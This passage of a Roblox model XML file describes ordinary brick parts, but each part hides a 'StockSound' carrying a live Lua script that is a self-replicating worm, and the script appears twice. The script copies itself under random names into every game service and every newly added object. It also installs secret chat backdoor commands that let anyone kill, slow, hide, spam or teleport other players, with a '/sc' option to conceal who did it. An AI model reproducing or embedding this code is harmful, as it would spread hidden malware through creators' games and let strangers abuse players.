				<bool name="CanCollide">true</bool>
				<token name="Controller">0</token>
				<bool name="ControllerFlagShown">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>1</X>
					<Y>1.20000005</Y>
					<Z>4</Z>
				</Vector3>
			</Properties>
			<Item class="StockSound" referent="RBX800">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">nfmrln</string>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><null></null></Content>
					<float name="Volume">0.5</float>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="Script" referent="RBX801">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">zqnh9fn</string>
						<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
		</Item>
		<Item class="Part" referent="RBX802">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">27</int>
				<CoordinateFrame name="CFrame">
					<X>-148</X>
					<Y>23.1999989</Y>
					<Z>-11.500001</Z>
					<R00>5.69488705e-008</R00>
					<R01>-5.8530329e-008</R01>
					<R02>-1</R02>
					<R10>-6.78202468e-007</R10>
					<R11>1</R11>
					<R12>5.8530329e-008</R12>
					<R20>1</R20>
					<R21>-6.78202468e-007</R21>
					<R22>-5.69488705e-008</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<token name="Controller">0</token>
				<bool name="ControllerFlagShown">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>1</X>
					<Y>1.20000005</Y>
					<Z>4</Z>
				</Vector3>
			</Properties>
			<Item class="StockSound" referent="RBX803">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">nfmrln</string>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><null></null></Content>
					<float name="Volume">0.5</float>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="Script" referent="RBX804">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">zqnh9fn</string>
						<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
